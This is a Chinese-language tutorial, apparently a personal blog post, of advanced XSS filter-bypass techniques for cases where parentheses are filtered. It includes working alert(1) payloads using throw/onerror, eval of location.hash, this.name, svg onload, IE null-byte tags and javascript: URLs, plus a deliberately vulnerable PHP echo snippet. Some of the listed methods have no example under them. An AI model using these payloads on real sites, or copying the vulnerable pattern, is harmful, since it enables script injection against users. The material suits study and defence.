XSS相关一些个人Tips(二)
字数 809 2025-08-26 22:11:40
XSS绕过技巧高级指南
圆括号被过滤时的绕过方法
当圆括号()被过滤时,仍有多种方法可以执行JavaScript代码:
1. 反引号替代法
- 注意:反引号也可能被过滤
2. URL编码绕过
3. 字符串拼接法
4. 变量拼接技巧
a="%2"; b="8%"; c="9%"; d="29"; location=a+b+c+d;
// 拼接出"%289%29"即"()"的URL编码
Throw语句利用
当圆括号被过滤时,可以使用throw语句配合onerror事件处理程序:
<a onmouseover="javascript:window.onerror=alert;throw 1">
throw抛出异常onerror捕获异常并执行alert
Location对象利用
1. Location属性概览
location.href- 完整URLlocation.protocol- 协议部分location.host- 主机名和端口location.pathname- 路径部分location.search- 查询字符串(?之后的部分)location.hash- 锚部分(#之后的部分)
2. 利用location.search
<script>
a=location.search; // 获取查询字符串
alert(a[1]+a[2]) // 通过数组索引访问字符
</script>
URL示例:http://example.com?()
3. 利用location.hash
<script>
eval(location.hash.substr(1)) // 执行#后面的代码
</script>
URL示例:http://example.com#alert(1)
This关键字利用
1. 基本用法
<input value="" onfocus="alert(this.name)" name=alert(1)>
this.name返回input的name属性值
2. 结合函数
<svg onload="a(this);function a(){alert(1)}">
其他高级技巧
1. IE特定技巧
<script>
_=top; _["al"+"ert"](1)
</script>
- 使用
top,self,parent,frames,content,window等替代
2. IE8/IE9过滤器绕过
<%00script>alert(1)<%00/script>
3. 伪协议执行
<iframe src="javascript:alert(1)">
防御代码示例分析
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss']) ? $_GET['xss'] : '';
$xss = str_replace(array("(", ")", "&", "\\", "<", ">", "'", "`"), '', $xss);
echo "";
?>
绕过方法:
- 使用本文介绍的各种不需要圆括号的技术
- 利用URL编码
- 使用字符串拼接
总结
XSS绕过技术多种多样,关键在于:
- 理解过滤器的限制
- 掌握JavaScript的多种执行方式
- 灵活运用浏览器特性和DOM属性
- 善用编码和字符串操作绕过过滤
防御者应当采用多层次防御策略,而不仅仅是简单的字符串过滤。